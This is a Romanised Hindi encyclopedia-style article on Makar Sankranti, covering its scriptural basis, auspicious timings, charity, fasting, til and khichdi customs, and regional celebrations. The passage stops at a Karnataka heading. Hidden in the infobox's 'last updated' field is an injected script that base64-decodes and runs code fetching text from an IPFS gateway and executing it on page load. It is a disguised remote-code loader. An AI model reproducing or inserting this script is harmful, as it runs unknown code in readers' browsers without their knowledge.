मकर संक्रांति
makar sankraanti
| |
| any nam | 'til sankraanti', 'khich di parv' |
| anuyayi | hindoo dharmavalambi |
| uddeshy | makar sankraanti ke din ganga snan aur til dan karane ka vishesh mahatmay hota hai. |
| prarambh | pauranik |
| tithi | 14 janavari (varsh- 2024) |
| utsav | yah din sundar patangoan ko u dane ka din bhi mana jata hai. log b de utsah se patangean u dakar patangabazi ke daanv–pechoan ka anand lete haian. |
| anushthan | is din kahian khich di to kahian 'choo dadahi'[1] ka bhojan kiya jata hai tatha til ke laddoo banaye jate haian. ye laddoo mitr v sage sambandhiyoan mean baantean bhi jate haian. |
| dharmik manyata | hindoo dharm |
| sanbandhit lekh | poangal, loh di, maghabihoo |
| sankraanti ka arth | 'sankraanti' ka arth hai soory ka ek rashi se doosari rashi mean jana, at: vah rashi jisamean soory pravesh karata hai, sankraanti ki sanjna se vikhyat hai.[2] |
| any janakari | makar sankraanti ke din soory dakshinayan se uttarayan mean pravesh kar jata hai. soory ke makar rashi mean pravesh karane ko 'uttarayan' kahate haian. |
| adyatan | 12:59, 13 janavari 2018 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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makar sankranti (aangrezi: Makar Sankranti) bharat ke pramukh tyauharoan mean se ek hai. yah parv pratyek varsh janavari ke mahine mean samast bharat mean manaya jata hai. is din se soory uttarayan hota hai, jab uttari golardh soory ki or mu d jata hai. parampara se yah vishvas kiya jata hai ki isi din soory makar rashi mean pravesh karata hai. yah vaidik utsav hai. is din khich di ka bhog lagaya jata hai. gu d–til, rev di, gajak ka prasad baanta jata hai. is tyauhar ka sambandh prakriti, rritu parivartan aur krishi se hai. ye tinoan chizean hi jivan ka adhar haian. prakriti ke karak ke taur par is parv mean soory dev ko pooja jata hai, jinhean shastroan mean bhautik evan abhautik tatvoan ki atma kaha gaya hai. inhian ki sthiti ke anusar rritu parivartan hota hai aur dharati anaj utpann karati hai, jisase jiv samuday ka bharan-poshan hota hai. yah ek ati mahattvapoorn dharmik krity evan utsav hai. lagabhag 80 varsh poorv un dinoan ke panchaangoan ke anusar, yah 12vian ya 13vian janavari ko p dati thi, kiantu ab vishuvatoan ke agragaman (ayanachalan) ke karan 13vian ya 14vian janavari ko p da karati hai.[3]varsh 2020 mean makar sankranti '15 janavari' ko manaee gee thi.
dharm granthoan mean ullekh
makar sankranti ka udgam bahut prachin nahian hai. eesa ke kam se kam ek sahastr varsh poorv brahman evan aupanishadik granthoan mean uttarayan ke chh: masoan ka ullekh hai [4] mean 'ayan' shabd aya hai, jisaka arth hai 'marg' ya 'sthal. grihyasootroan mean 'udagayan' uttarayan ka hi dyotak hai[5] jahaan spasht roop se uttarayan adi kaloan mean sanskaroan ke karane ki vidhi varnit hai. kiantu prachin shraut, grihy evan dharm sootroan mean rashiyoan ka ullekh nahian hai, unamean keval nakshatroan ke sanbandh mean kaloan ka ullekh hai. yajnavalkyasmriti mean bhi rashiyoan ka ullekh nahian hai, jaisa ki vishvaroop ki tika se prakat hai.[6] 'udagayan' bahut shatabdiyoan poorv se shubh kal mana jata raha hai, at: makar sankranti, jisase soory ki uttarayan gati arambh hoti hai, rashiyoan ke chalan ke uparant pavitr din mani jane lagi. makar sankranti par til ko itani mahatta kyoan prapt huee, kahana kathin hai. sambhavat: makar sankranti ke samay ja da hone ke karan til jaise padarthoan ka prayog sambhav hai. eesavi san ke arambh kal se adhik prachin makar sankranti nahian hai.[3]thumb|left|rangoli, makar sankraanti
sankraanti ka arth
'sankranti' ka arth hai soory ka ek rashi se doosari rashi mean jana, at: vah rashi jisamean soory pravesh karata hai, sankranti ki sanjna se vikhyat hai.[7] rashiyaan barah haian, yatha mesh, vrishabh, mithun, kark, sianh, kanya, tula, vrishchik , dhanu, makar, kumbh, min. malamas p d jane par bhi varsh mean keval 12 rashiyaan hoti haian. pratyek sankranti pavitr din ke roop mean grahy hai. matsyapuran [8]ne sankranti vrat ka varnan kiya hai. ek din poorv vyakti (nari ya purush) ko keval ek bar madhyahn mean bhojan karana chahie aur sankranti ke din daantoan ko svachchh karake til yukt jal se snan karana chahie. vyakti ko chahie ki vah kisi sanyami brahman grihasth ko bhojan samagriyoan se yukt tin patr tatha ek gay yam, rudr evan dharm ke nam par de aur char shlokoan ko padhe, jinamean se ek yah hai- 'yatha bhedan' n pashyami shivavishnvarkapadmajanh. tatha mamastu vishvatma shankar:shankar: sada..'[9], arthath 'maian shiv evan vishnu tatha soory evan brahma mean antar nahian karata, vah shankar, jo vishvatma hai, sada kalyan karane vala hai. doosare shankar shabd ka arth hai- shan kalyanan karoti. yadi ho sake to vyakti ko chahie ki vah brahman ko abhooshanoan, paryank, svarnapatroan (do) ka dan kare. yadi vah daridr ho to brahman ko keval phal de. isake uparant use tail-vihin bhojan karana chahie aur yatha shakti any logoan ko bhojan dena chahie. striyoan ko bhi yah vrat karana chahie. sankranti, grahan, amavasya evan poornima par ganga snan mahapunyadayak mana gaya hai aur aisa karane par vyakti brahmalok ko prapt karata hai.[10] pratyek sankranti par samany jal (garm nahian kiya hua) se snan karana nityakarm kaha jata hai, jaisa ki devipuran[11]) mean ghoshit hai- 'jo vyakti sankranti ke pavitr din par snan nahian karata vah sat janmoan tak rogi evan nirdhan rahega; sankranti par jo bhi devoan ko havy evan pitaroan ko kavy diya jata hai, vah soory dvara bhavishy ke janmoan mean lauta diya jata hai.[3]
punyakal
[[chitr:Kites-shopkeeper.jpg|thumb|250px|makar sankraanti ke avasar par patang bechane vala]] prachin granth mean aisa likhit hai ki keval soory ka kisi rashi mean pravesh matr hi punitata ka dyotak nahian hai, pratyut sabhi grahoan ka any nakshatr ya rashi mean pravesh punyakal mana jata hai[12]. hemadri[13] evan kal nirnay[14] ne kram se jaimini evan jyoti:shastr se uddharan dekar soory evan grahoan ki sankranti ka punyakal ko ghoshit kiya hai- 'soory ke vishay mean sankranti ke poorv ya pashchath 16 ghatikaoan ka samay puny samay hai; chandr ke vishay mean donoan or ek ghati 13 phal punyakal hai; mangal ke lie 4 ghatikaean evan ek pal; budh ke lie 3 ghatikaean evan 14 pal, brihaspati ke lie char ghatikaean evan 37 pal, shukr ke lie 4 ghatikaean evan ek pal tatha shani ke lie 82 ghatikaean evan 7 pal.[3]
soory jab ek rashi chho dakar doosari mean pravesh karata hai to us kal ka yathavath jnan hamari maansal aankhoan se sambhav nahian hai, at: sankranti ki 30 ghatikaean idhar ya udhar ke kal ka dyotan karati haian[15]. soory ka doosari rashi mean pravesh kal itana kam hota hai ki usamean sankranti krityoan ka sampadan asambhav hai, at: isaki sannidhi ka kal uchit thaharaya gaya hai. devipuran mean sankranti kal ki laghuta ka ullekh yoan hai- 'svasth evan sukhi manushy jab ek bar palak girata hai to usaka tisavaan kal 'tatpar' kahalata hai, tatpar ka sauvaan bhag 'truti' kaha jata hai tatha truti ke sauvean bhag mean soory ka doosari rashi mean pravesh hota hai. samany niyam yah hai ki vastavik kal ke jitane hi samip krity ho vah utana hi punit mana jata hai.' isi se sankrantiyoan mean punyatam kal sat prakar ke mane gaye haian- 3, 4, 5, 7, 8, 9 ya 12 ghatikaean. inhian avadhiyoan mean vastavik phal prapti hoti hai. yadi koee in avadhiyoan ke bhitar pratipadit krity n kar sake to usake lie adhikatam kal simaean 30 ghatikaoan ki hoti haian; kiantu ye punyakal-avadhiyaan shadashiti[16]evan vishnupadi[17]ko chho dakar any sabhi sankrantiyoan ke lie hai.'[3] thumb|makar sankraanti manate log|left aj ke jyotish shastr ke anusar ja de ka ayan kal 21 disambar ko hota hai aur usi din se soory uttarayan hote haian. kiantu bharat mean ve log, jo prachin paddhatiyoan ke anusar rache panchaangoan ka sahara lete haian, uttarayan ka arambh 14 janavari se manate haian. ve is prakar upayukt makar sankranti se 23 din pichhe haian. madhyakal ke dharmashastr granthoan mean yah bat ullikhit hai, yatha hemadri[18] ne kaha hai ki prachalit sankranti se 12 din poorv hi punyakal p data hai, at: pratipadit dan adi krity prachalit sankranti din ke 12 din poorv bhi kiye ja sakate haian.[3]
punyakal ke niyam
sankranti ke punyakal ke vishay mean samany niyam ke prashn par kee mat haian. shatatap[19], jabal evan marichi ne sankranti ke dharmik krityoan ke lie sankranti ke poorv evan uparant 16 ghatikaoan ka punyakal pratipadit kiya hai; kiantu devipuran evan vasishth[20] ne 15 ghatikaoan ke punyakal ki vyavastha di hai. yah virodh yah kahakar door kiya jata hai ki laghu avadhi keval adhik puny phal dene ke lie hai aur 16 ghatikaoan ki avadhi vishnupadi sankrantiyoan ke lie pratipadit hai. sankranti din ya ratri donoan mean ho sakati hai. din vali sankranti poore din bhar punyakal vali hoti hai. ratri vali sankranti ke vishay mean hemadri, madhav adi mean lambe vivechan upasthit kie gaye haian. ek niyam yah hai ki das sankrantiyoan mean, makar evan karkat ko chho dakar punyakal din mean hota hai, jabaki ve ratri mean p dati haian. is vishay ka vistrit vivaran tithitattv[21] aur dharmasiandhu[22] mean milata hai.[3]
grahoan ki sankranti
makar sankraanti ke avasar par rangoli banate hue|thumb|250px grahoan ki bhi sankrantiyaan hoti haian, kintu pashchatkalin lekhakoan ke anusar 'sankranti' shabd keval ravi-sankranti ke nam se hi dyotit hai, jaisa ki smritikaustubh[23]mean ullikhit hai. varsh bhar ki 12 sankrantiyaan char shreniyoan mean vibhakt haian-
- do ayan sankrantiyaan- makar sankranti, jab uttarayan ka arambh hota hai evan karkat sankranti, jab dakshinayan ka arambh hota hai.
- do vishuv sankrantiyaan arthath mesh evan tula sankrantiyaan, jab ratri evan din barabar hote haian.
- ve char sankrantiyaan, jinhean shadayitimukh arthath mithun, kanya, dhanu evan min kaha jata hai tatha
- vishnupadi ya vishnupad arthath vrishabh, sianh, vrishchik evan kumbh namak sankrantiyaan.[24][3]
sankraanti ke prakar
'ye barah sankrantiyaan sat prakar ki, sat namoan vali haian, jo kisi saptah ke din ya kisi vishisht nakshatr ke sammilan ke adhar par ullikhit haian; ve ye haian- manda, mandakini, dhvaankshi, ghora, mahodari, rakshasi evan mishrita.
- ghora ravivar, mesh ya kark ya makar sankranti ko,
- dhvaankshi somavar ko,
- mahodari mangal ko,
- mandakini budh ko,
- manda brihaspati ko,
- mishrita shukr ko evan
- rakshasi shani ko hoti hai.
- isake atirikt koee sankranti yatha mesh ya kark adi kram se manda, mandakini, dhvaankshi, ghora, mahodari, rakshasi, mishrit kahi jati hai, yadi vah kram se dhruv, mridu, kshipr, ugr, char, kroor ya mishrit nakshatr se yukt hoan. 27 ya 28 nakshatr nimnokt roop se sat daloan mean vibhajit haian-
- dhruv (ya sthir) – uttaraphalguni, uttarashadha, uttarabhadrapada, rohini
- mridu – anuradha, chitra, revati, mrigashirsh
- kshipr (ya laghu) – hast, ashvini, pushy, abhijit
- ugr – poorvaphalguni, poorvashadha, poorvabhadrapada, bharani, magha
- char – punarvasu, shravan, dhanishtha, svati , shatabhishak
- kroor (ya tikshn) – mool, jyeshtha, ardra, ashlesha
- mishrit (ya mridutikshn ya sadharan) – krittika, vishakha[25]. aisa ullikhit hai ki brahmanoan ke lie manda, kshatriyoan ke lie mandakini, vaishyoan ke lie dhvaankshi, shoodroan ke lie ghora, choroan ke lie mahodari, mady vikretaoan ke lie rakshasi tatha chandaloan, pukkasoan tatha jinaki vrittiyaan (peshe) bhayankar hoan evan any shilpiyoan ke lie mishrit sankranti shreyaskar hoti hai[26].[3]
sankranti ka devikaran
age chalakar sankranti ka devikaran ho gaya aur vah sakshath durga kahi jane lagi. devipuran[27] mean aya hai ki devi varsh, ayan, rritu, mas, paksh, din adi ke kram se sookshm vibhag ke karan sarvagat vibhu roop vali hai. devi puny tavan pap ke vibhagoan ke anusar phal dene vali hai. sankranti ke kal mean kiye gaye ek krity se bhi koti-koti phaloan ki prapti hoti hai. dharm se ayu, rajy, putr, sukh adi ki vriddhi hoti hai, adharm se vyadhi, shok adi badhate haian. vishuv[28] sankranti ke samay jo dan ya jap kiya jata hai ya ayan [29] mean jo sampadit hota hai, vah akshay hota hai. yahi bat vishnupad evan shadashiti mukh ke vishay mean bhi hai.[3] [[chitr:Til-ke-laddu-2.jpg|left|thumb|til ke laddoo]] ajakal ke panchaangoan mean makar sankranti ka devikaran bhi ho gaya hai. vah devi man li gayi hai. sankranti kisi vahan par chadhati hai, usaka pramukh vahan hathi jaise vahan pashu haian; usake upavahan bhi haian; usake vastr kale, shvet ya lal adi rangoan ke hote haian; usake hath mean dhanush ya shool rahata hai, vah lah ya gorochan jaise padarthoan ka tilak karati hai; vah yuva, praudh ya vriddh hai; vah kh di ya baithi huee varnit hai; usake pushpoan, bhojan, abhooshanoan ka ullekh hai; usake do nam sat namoan mean se vishisht haian; vah poorv adi dishaoan se ati hai aur pashchim adi dishaoan ko chali jati hai aur tisari disha ki or jhaankati hai; usake adhar jhuke haian, nak lambi hai, usake 9 hath hai. usake vishay mean agr soochanaean ye haian- sankranti jo kuchh grahan karati hai, usake mooly badh jate haian ya vah nasht ho jata hai; vah jise dekhati hai, vah nasht ho jata hai, jis disha se vah jati hai, vahaan ke log sukhi hote haian, jis disha ko vah chali jati hai, vahaan ke log dukhi ho jate haian.[3]
sankraanti par dan puny
poorv punyalabh ke lie punyakal mean hi snan dan adi krity kiye jate haian. samany niyam yah hai ki ratri mean n to snan kiya jata hai aur n hi dan. parashar[30] mean aya hai ki soory kiranoan se poore din mean snan karana chahie, ratri mean grahan ko chho dakar any avasaroan par snan nahian karana chahie. yahi bat vishnudharmasootr mean bhi hai. kiantu kuchh apavad bhi pratipadit haian. bhavishyapuran [31] mean aya hai ki ratri mean snan nahian karana chahie, visheshat: ratri mean dan to nahian hi karana chahie, kiantu uchit avasaroan par aisa kiya ja sakata hai, yatha grahan, vivah, sankranti, yatra, janan, maran tatha itihas shravan mean. at: pratyek sankranti par visheshat: makar sankranti par snan nity karm hai.
- dan nimn prakar ke kiye jate haian-
mesh mean bhe d, vrishabh mean gayean, mithun mean vastr, bhojan evan pey padarth, karkat mean ghritadhenu, sianh mean sone ke sath vahan, kanya mean vastr evan gauean, nana prakar ke ann evan bij, tula-vrishchik mean vastr evan ghar, dhanu mean vastr evan vahan, makar mean inghan evan agni, kumbh mean gauean jal evan ghas, min mean naye pushp. any vishesh prakar ke danoan ke vishay mean dekhie skandapuran [32], vishnudharmottar, kalika. [33] adi.[34]
upavas
[[chitr:Sankranti-varanasi.jpg|300px|thumb|makar sankraanti ke avasar par patang udate hue, varanasi]] makar sankranti ke samman mean tin dinoan ya ek din ka upavas karana chahie. jo vyakti tin dinoan tak upavas karata hai aur usake uparant snan karake ayan[35] par soory ki pooja karata hai, vishuv evan soory ya chandr ke grahan par pooja karata hai to vah vaanchhit ichchhaoan ki poornata pata hai. apastamb mean aya hai ki jo vyakti snan ke uparant ayan, vishuv, sooryachandr-grahan par din bhar upavas karata hai, vah sabhi papoan se mukt ho jata hai. kiantu putravan vyakti ko ravivar, sankranti evan grahanoan par upavas nahian karana chahie[36]. rajamartand mean sankranti par kiye gaye danoan ke puny-labh par do shlok haian- 'ayan sankranti par kiye gaye danoan ka phal samany din ke dan ke phal ka kotiguna hota hai aur vishnupadi par vah lakshaguna hota hai; shadashiti par yah 86000 guna ghoshit hai[37]. chandr grahan par dan sau guna evan soory grahan par sahastr guna, vishuv par shatasahastr guna tatha akamavai[38] ki poornima par anant phaloan ko dene vala hai. bhavishyapuran ne ayan evan vishuv sankrantiyoan par ganga-yamuna ki prabhoot mahatta gayi hai.[39].[3]
nari dvara dan
makar sankranti par adhikaansh mean nariyaan hi dan karati haian. ve pujariyoan ko mitti ya tamr ya pital ke patr, jinamean supari evan sikke rahate haian, dan karati haian aur apani saheliyoan ko bulaya karati haian tatha unhean kuankum, haldi, supari, eekh ke tuk de adi se poorn mitti ke patr deti haian. dakshin bharat mean poangal namak utsav hota hai, jo uttari ya pashchimi bharat mean manaye jane vali makar sankranti ke saman hai. poangal tamil varsh ka pratham divas hai. yah utsav tin dinoan ka hota hai. poangal ka arth hai 'kya yah ubal raha' ya 'pakaya ja raha hai?'
sankraanti par shraddh
kuchh logoan ke mat se sankranti par shraddh karana chahie. vishnu dharmasootr [40] mean aya hai- 'adity arthath soory ke sankraman par arthath jab soory ek rashi se doosari mean pravesh karata hai, donoan vishuv dinoan par, apane janm-nakshatr par[41] vishisht shubh avasaroan par kamy shraddh karana chahie; in dinoan ke shraddh se pitaroan ko akshay santosh prapt hota hai. yahaan par bhi virodhi mat haian. shoolapani ke mat se sankranti-shraddh mean pindadan hona chahie, kiantu nirnayasiandhu[42]ke mat se shraddh pindavihin evan parvan ki bhaanti hona chahie. sankranti par kuchh krity varjit bhi the. vishnupuran[43] mean vachan hai- 'chaturdashi, ashtami, amavasya, poornima evan sankranti parv kahe gaye haian; jo vyakti aise avasar par sanbhog karata hai, tail evan maans khata hai, vah vishmootr-bhojan' namak narak[44]mean p data hai. brahmapuran [45] mean aya hai- ashtami, pakshoan ke aant ki tithiyoan mean, ravi-sankranti ke din tatha pakshopant (chaturdashi) mean sanbhog, til-maans-bhojan nahian karana chahie. ajakal makar sankranti dharmik krity ki apeksha samajik adhik hai. upavas nahian kiya jata, kadachit koee shraddh karata ho, kiantu bahut se log samudr ya prayag jaise tirthoan par ganga snan karate haian. til ka prayog adhik hota hai, visheshat: dakshin mean. til ki mahatta yoan pradarshit hai- 'jo vyakti til ka prayog chh: prakar se karata hai vah nahian doobata arthath vah asaphal ya abhaga nahian hota; sharir ko til se nahana, til se uvatana, sada pavitr rahakar tilayukt jal dena[46], agni mean til dalana, til dan karana evan til khana.[47][3]
soory prarthana
sanskrit prarthana ke anusar "he soory dev, apaka dandavat pranam, ap hi is jagath ki aankhean ho. ap sare sansar ke arambh ka mool ho, usake jivan v nash ka karan bhi ap hi ho." soory ka prakash jivan ka pratik hai. chandrama bhi soory ke prakash se alokit hai. vaidik yug mean sooryopasana din mean tin bar ki jati thi. mahabharat mean pitamah bhishm ne bhi soory ke uttarayan hone par hi apana pranatyag kiya tha. hamare manishi is samay ko bahut hi shreshth manate haian. is avasar par log pavitr nadiyoan evan tirth sthaloan par snan kar adidev bhagavan soory se jivan mean sukh v samriddhi hetu prarthana v yachana karate haian.
manyata
yah vishvas kiya jata hai ki is avadhi mean dehatyag karane vale vyakti janm-maran ke chakr se poornat: mukt ho jate haian. mahabharat mahakavy mean vayovriddh yoddha pitamah bhishm paandavoan aur kauravoan ke bich hue kurukshetr yuddh mean saanghatik roop se ghayal ho gaye the. unhean ichchha-mrityu ka varadan prapt tha. paandav vir arjun dvara rachit banashaiya par p de bhishm uttarayan avadhi ki pratiksha karate rahe. unhoanne soory ke makar rashi mean pravesh karane par hi aantim saans li, jisase unaka punarjanm n ho.[[chitr:Sesame seeds-2.jpg|left|thumb|til]]
til sankrati
desh bhar mean log makar sankraanti ke parv par alag-alag roopoan mean til, chaval, u dad ki dal evan gu d ka sevan karate haian. in sabhi samagriyoan mean sabase zyada mahatv til ka diya gaya hai. is din kuchh any chiz bhale hi n khaee jaean, kintu kisi n kisi roop mean til avashy khana chahie. is din til ke mahatv ke karan makar sankraanti parv ko "til sankrati" ke nam se bhi pukara jata hai. til ke gol-gol laddoo is din banae jate haian. aisa mana jata hai ki til ki utpatti bhagavan vishnu ke sharir se huee hai tatha uparokt utpadoan ka prayog sabhi prakar ke papoan se mukt karata hai; garmi deta hai aur sharir ko nirog rakhata hai. mankar sankraanti mean jin chizoan ko khane mean shamil kiya jata hai, vah paushtik hone ke sath hi sath sharir ko garm rakhane vale padarth bhi haian.
soory ke uttarayan hone ka parv
jitane samay mean prithvi soory ke charoan or ek chakkar lagati hai, us avadhi ko "saur varsh" kahate haian. prithvi ka golaee mean soory ke charoan or ghoomana "krantichakr" kahalata hai. is paridhi chakr ko baantakar barah rashiyaan bani haian. soory ka ek rashi se doosari rashi mean pravesh karana "sankranti" kahalata hai. isi prakar soory ke makar rashi mean pravesh karane ko "makar sankranti" kahate haian. [[chitr:Makar-Sankrati-2.jpg|thumb|makar sankrati ke avasar par ganga snan karate shraddhalu|250px]] soory ka makar rekha se uttari kark rekha ki or jana 'uttarayan' tatha kark rekha se dakshini makar rekha ki or jana 'dakshinayan' hai. uttarayan mean din b de ho jate haian tatha ratean chhoti hone lagati haian. dakshinayan mean thik isake viparit hota hai. shastroan ke anusar uttarayan devataoan ka din tatha dakshinayan devataoan ki rat hoti hai. vaidik kal mean uttarayan ko devayan tatha dakshinayan ko pitriyan kaha jata tha. makar sankranti ke din yajn mean diye havy ko grahan karane ke lie devata dharati par avatarit hote haian. isi marg se punyatmaean sharir chho dakar svarg adi lokoan mean pravesh karati haian. isalie yah alok ka avasar mana jata hai. is din puny, dan, jap tatha dharmik anushthanoan ka anany mahattv hai aur sau guna phaladayi hokar prapt hota hai. makar sankranti pratyek varsh prayah 14 janavari ko p dati hai.
abhar prakat karane ka din
panjab, bihar v tamilanadu mean yah samay fasal katane ka hota hai. krishak makar sankranti ko 'abhar divas' ke roop mean manate haian. pake hue gehooan aur dhan ko svarnim abha unake athak mehanat aur prayas ka hi phal hoti hai aur yah sambhav hota hai, bhagavan v prakriti ke ashirvad se. vibhinn paramparaoan v riti–rivazoan ke anuroop panjab evan jammoo–kashmir mean "loh di" nam se "makar sankranti" parv manaya jata hai. sindhi samaj ek din poorv hi makar sankranti ko "lal lohi" ke roop mean manata hai. tamilanadu mean makar sankranti 'poangal' ke nam se manaya jata hai, to uttar pradesh aur bihar mean 'khich di' ke nam se makar sankranti manaya jata hai. is din kahian khich di to kahian choo dadahi ka bhojan kiya jata hai tatha til ke laddu banaye jate haian. ye laddoo mitr v sage sambandhiyoan mean baantean bhi jate haian.thumb|gu d|left
khich di sankranti
chaval v mooang ki dal ko pakakar khich di banaee jati hai. is din khich di khane ka prachalan v vidhan hai. ghi v masaloan mean paki khich di svadisht, pachak v oorja se bharapoor hoti hai. is din se sharad rritu kshin honi prarambh ho jati hai. basant ke agaman se svasthy ka vikas hona prarambh hota hai. is din ganga nadi mean snan v sooryopasana ke bad brahmanoan ko gu d, chaval aur til ka dan bhi ati shreshth mana gaya hai. maharashtr mean aisa mana jata hai ki makar sankranti se soory ki gati til–til badhati hai, isilie is din til ke vibhinn mishthan banakar ek–doosare ka vitarit karate hue shubh kamanaean dekar yah tyohar manaya jata hai.
sankranti dan aur punyakarm ka din
sankranti kal ati puny mana gaya hai. is din ganga tat par snan v dan ka vishesh mahattv hai. is din kie ge achchhe karmoan ka phal ati shubh hota hai. vastroan v kambal ka dan, is janm mean nahian; apitu janm–janmaantar mean bhi punyaphaladayi mana jata hai. is din ghrit, til v chaval ke dan ka vishesh mahattv hai. isaka dan karane vala sampoorn bhogoan ko bhogakar moksh ko prapt karata hai, aisa shastroan mean kaha gaya hai. uttar pradesh mean is din til dan ka vishesh mahattv hai. maharashtr mean navavivahita striyaan pratham sankranti par tel, kapas, namak adi vastuean saubhagyavati striyoan ko bheant karati haian. bangal mean bhi is din til dan ka mahattv hai. rajasthan mean saubhagyavati striyaan is din til ke laddoo, ghevar tatha motichoor ke laddoo adi par rupaye rakhakar, "vayan" ke roop mean apani sas ko pranam karake deti hai tatha kisi bhi vastu ka chaudah ki sankhya mean sankalp karake chaudah brahmanoan ko dan karati hai. [[chitr:Kite.jpg|thumb|250px|patang]]
- patang u dane ka din
yah din sundar patangoan ko u dane ka din bhi mana jata hai. log b de utsah se patangean u dakar patangabazi ke daanv–pechoan ka maza lete haian. b de–b de shaharoan mean hi nahian, ab gaanvoan mean bhi patangabazi ki pratiyogitaean hoti haian.
gangasnan v soory pooja
pavitr ganga mean nahana v soory upasana sankranti ke din atyant pavitr karm mane ge haian. sankranti ke pavan avasar par hazaroan log ilahabad ke triveni sangam, varanasi mean gangaghat, hariyana mean kurukshetr, rajasthan mean pushkar, maharashtr ke nasik mean godavari nadi mean snan karate haian. gu d v shvet til ke pakavan soory ko arpit kar sabhi mean baantean jate haian. gangasagar mean pavitr snan ke lie in dinoan shraddhaluoan ki ek b di bhi d um d p dati hai. [[chitr:Rice.jpg|thumb|left|chaval]]
punyakal ke shubharambh ka pratik
makar sankranti ke agami din jab soory ki gati uttar ki or hoti hai, to bahut se parv prarambh hone lagate haian. inhian dinoan mean aisa pratit hota hai ki vatavaran v paryavaran svayan hi achchhe hone lage haian. kaha jata hai ki is samay janme shishu pragatishil vicharoan ke, susanskrit, vinamr svabhav ke tatha achchhe vicharoan se poorn hote haian. yahi vishesh karan hai, jo soory ki uttarayan gati ko pavitr banate haian aur makar sankranti ka din sabase pavitr din ban jata hai.
khagoliy tathy
san 2012 mean makar sankraanti 15 janavari yani ravivar ki thi. raja harshavarddhan ke samay mean yah parv 24 disambar ko p da tha. mugal badashah akabar ke shasan kal mean 10 janavari ko makar sankraanti thi. shivaji ke jivan kal mean yah tyohar 11 janavari ko p da tha.
akhir aisa kyoan?
soory ke dhanu rashi se makar rashi mean pravesh karane ko 'makar sankraanti' kaha jata hai. sal 2012 mean yah 14 janavari ki madhyaratri mean tha. isalie uday tithi ke anusar makar sankraanti 15 janavari ko p di thi. darasal har sal soory ka dhanu rashi se makar rashi mean pravesh 20 minat ki deri se hota hai. is tarah har tin sal ke bad soory ek ghante bad aur har 72 sal mean ek din ki deri se makar rashi mean pravesh karata hai. matalab 1728 (72 guna 24) sal mean phir soory ka makar rashi mean pravesh ek din ki deri se hoga aur is tarah 2080 ke bad 'makar sankraanti' 15 janavari ko p degi.
jyotishiy akalan
[[chitr:Lentils.jpg|dalean|thumb|300px]] jyotishiy akalan ke anusar soory ki gati prativarsh 20 sekeand badh rahi hai. mana jata hai ki aj se 1000 sal pahale makar sankraanti 31 disanbar ko manaee jati thi. pichhale ek hazar sal mean isake do haphte age khisak jane ki vajah se 14 janavari ko manaee jane lagi. ab soory ki chal ke adhar par yah anuman lagaya ja raha hai ki 5000 sal bad makar sankraanti faravari mahine ke aant mean manaee jaegi.[48]
vibhinn rajyoan mean makar sankraanti
makar sankranti bharat ke bhinn-bhinn logoan ke lie bhinn-bhinn arth rakhati hai. kintu sada ki bh aauanti, nanavidhi utsavoan ko ek sath pirone vala ek sarvamany sootr hai, jo is avasar ko aankit karata hai. yadi dipavali jyoti ka parv hai to sankranti shasy parv hai, nee fasal ka svagat karane tatha samriddhi v sampannata ke lie prarthana karane ka ek avasar hai.
uttar pradesh mean makar-sakraanti
uttar pradesh mean yah mukhy roop se dan ka parv hai. ilahabad mean yah parv magh mele ke nam se jana jata hai. 14 janavari se ilahabad me har sal magh mele ki shuruat hoti hai. 14 disambar se 14 janavari ka samay khar mas ke nam se jana jata hai. aur uttar bharat me to pahale is ek mahine me kisi bhi achchhe kary ko aanjam nahi diya jata tha. masalan vivah adi mangal kary nahian kie jate the par ab to samay ke sath log kafi badal ge hai. 14 janavari yani makar sankranti se achchhe dinoan ki shuruat hoti hai. magh mela pahala nahan makar sankranti se shuroo hokar shivaratri tak yani akhiri nahan tak chalata hai. sankranti ke din nahan ke bad dan karane ka bhi chalan hai.samooche uttar pradesh mean is vrat ko khich di ke nam se jana jata hai aur is din khich di sevan evan khich di dan ka atyadhik mahatv hota hai. ilahabad mean ganga, yamuna v sarasvati ke sangam par pratyek varsh ek mah tak magh mela lagata hai.
uttarakhand mean makar-sakraanti
uttarakhand ke bageshvar mean b da mela hota hai. vaise ganga snan rameshvar, chitrashila v any sthanoan mean bhi hote haian. is din ganga snan karake, til ke mishthan adi ko brahmanoan v poojy vyaktiyoan ko dan diya jata hai. is parv par bhi kshetr mean ganga evan ramaganga ghatoan par b de mele lagate hai.
maharashtr mean makar-sakraanti
maharashtr mean is din sabhi vivahit mahilaean apani pahali sankraanti par kapas, tel, namak adi chijean any suhagin mahilaoan ko dan karati haian. tal-gool namak halave ke baantane ki pratha bhi hai. log ek doosare ko til gu d dete haian aur dete samay bolate haian :- `til gu d dhya ani go d go d bola` arthath til gu d lo aur mitha mitha bolo. is din mahilaean apas mean til, gu d, roli aur haldi baantati haian.
panjab mean loh di
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makar sankranti bharat ke any kshetroan mean bhi dharmik utsah aur ullas ke sath manaya jata hai. panjab mean ise 'loh di' kahate haian jo gramin kshetroan mean nee fasal ki kataee ke avasar par manaya jata hai. purush aur striyaan gaanv ke chauk par utsavagni ke charoan or paramparagat veshabhoosha mean lokapriy nrity bhaang da ka pradarshan karate haian. striyaan is avasar par apani hatheliyoan aur paanvoan par akarshak akritiyoan mean mehandi rachati haian.
bangal mean makar-sakraanti
thumb|gu d aur til se bani gajak|left pashchim bangal mean makar sakraanti ke din desh bhar ke tirthayatri gangasagar dvip par ekatr hote haian, jahaan ganga bangal ki kha di mean mil jati hai. ek dharmik mela, jise 'gangasagar mela' kahate haian, is samaroh ki mahattvapoorn visheshata hai. aisa vishvas kiya jata hai ki is sangam par dubaki lagane se sara pap dhul jata hai. bangal mean is parv par snan pashchath til dan karane ki pratha hai. yahaan gangasagar mean har sal vishal mela lagata hai. makar sankraanti ke din hi gangaji bhagirath ke pichhe-pichhe chalakar kapil muni ke ashram se hokar sagar mean ja mili thian. manyata yah bhi hai ki is din yashoda ji ne shrikrishna ko prapt karane ke lie vrat kiya tha. is din ganga sagar mean snan-dan ke lie lakhoan logoan ki bhi d hoti hai. log kasht uthakar ganga sagar ki yatra karate haian.
karnatak mean makar-sakraanti
